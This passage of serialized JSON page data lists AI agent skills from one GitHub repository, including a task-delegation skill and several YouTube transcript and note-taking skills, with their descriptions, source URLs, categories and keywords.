architectures.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzero-trust\u002FSKILL.md",[76],{"categoryNo":77,"categoryName":78,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000011","运维与部署","SCENARIO","使用场景",[82,83,84,85,86,87,72,88,89,90,91,32,31,21,92,93,28,27,24,94],"ZeRO","trust","zero trust","architecture","assessment","verification","segmentation","devops-security","access","configure","active","critical","implementing",{"skillNo":96,"name":97,"nameZh":6,"description":98,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":99,"categories":100,"keywords":101,"publishedAt":38},"01M6Q0F1YZJW3KX5FBKEVZ8CV4","zcode-delegate","Delegate coding tasks to the Z.AI ZCode CLI only when the user explicitly requests it, while the orchestrator retains review and landing responsibility.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzcode-delegate\u002FSKILL.md",[],[102,103,104,105,106,107,108,109,110,111,112,113,114,32,115,31,116,117,93,118],"delegate","zcode","zcode delegate","review","cli","orchestration","tasks","run","Bash","model","node","read","orchestrator","files","desktop app","app","agent-orchestration",{"skillNo":120,"name":121,"nameZh":6,"description":122,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":123,"categories":124,"keywords":125,"publishedAt":38},"01M6Q0ETK41VGNMYEXW0T00AJN","youtube-transcript","Fetch YouTube transcripts through DeepAPI or local fallback tooling and save clean text output.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript\u002FSKILL.md",[],[126,127,128,129,130,131,132,36,133,134,135,136,137,31,21,138,139,140,141,142],"transcript","youtube transcript","youtube","safe","github","codex","research","https","text","fetch","tooling","clean","local","output","deepapi","youtube transcripts","blob",{"skillNo":144,"name":145,"nameZh":6,"description":146,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":147,"categories":148,"keywords":160,"publishedAt":38},"01M6Q0EPPH2PVMDW40017F8WX0","youtube-transcript-skills","Fetch YouTube video transcripts, search videos\u002Fchannels, browse channels, and extract playlists via the getyoutubetranscript.com API - free tier, no card required.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript-skills\u002FSKILL.md",[149,152,155],{"categoryNo":150,"categoryName":151,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":153,"categoryName":154,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000016","图像与多媒体",{"categoryNo":156,"categoryName":157,"taxonomyType":158,"taxonomyTypeDesc":159},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[126,127,128,161,129,162,130,131,36,163,164,165,166,135,167,31,21,168,169,170],"youtube transcript skills","gemini","search","api","Video","browse","api-integration","free","card","channels",{"skillNo":172,"name":173,"nameZh":6,"description":174,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":175,"categories":176,"keywords":181,"publishedAt":38},"01M6Q0EAB96PX83W5PTE8A0R8D","youtube-notetaker","Turn YouTube talks into local study notes with slides, transcripts, editable annotations, and a markdown-backed viewer.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-notetaker\u002FSKILL.md",[177,180],{"categoryNo":178,"categoryName":179,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":153,"categoryName":154,"taxonomyType":79,"taxonomyTypeDesc":80},[128,182,183,106,129,184,185,186,187,36,165,188,189,190,191,21,192,138,193,194],"youtube notetaker","notetaker","workflow","official","notes","code","markdown","slides","annotations","README","study","dair-academy","viewer",{"skillNo":196,"name":197,"nameZh":6,"description":198,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":199,"categories":200,"keywords":202,"publishedAt":38},"01M6Q0E55F0GW5MX48V8HXS8B5","youtube-full","Fetch YouTube transcripts, search videos, browse channels, and extract playlists via TranscriptAPI — no yt-dlp, no Google API key, works from any cloud server.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-full\u002FSKILL.md",[201],{"categoryNo":150,"categoryName":151,"taxonomyType":79,"taxonomyTypeDesc":80},[203,128,204,205,129,162,163,206,207,164,165,166,135,208,167,31,21,168,209,141],"youtube full","full","google","server","dlp","credits","automatic"]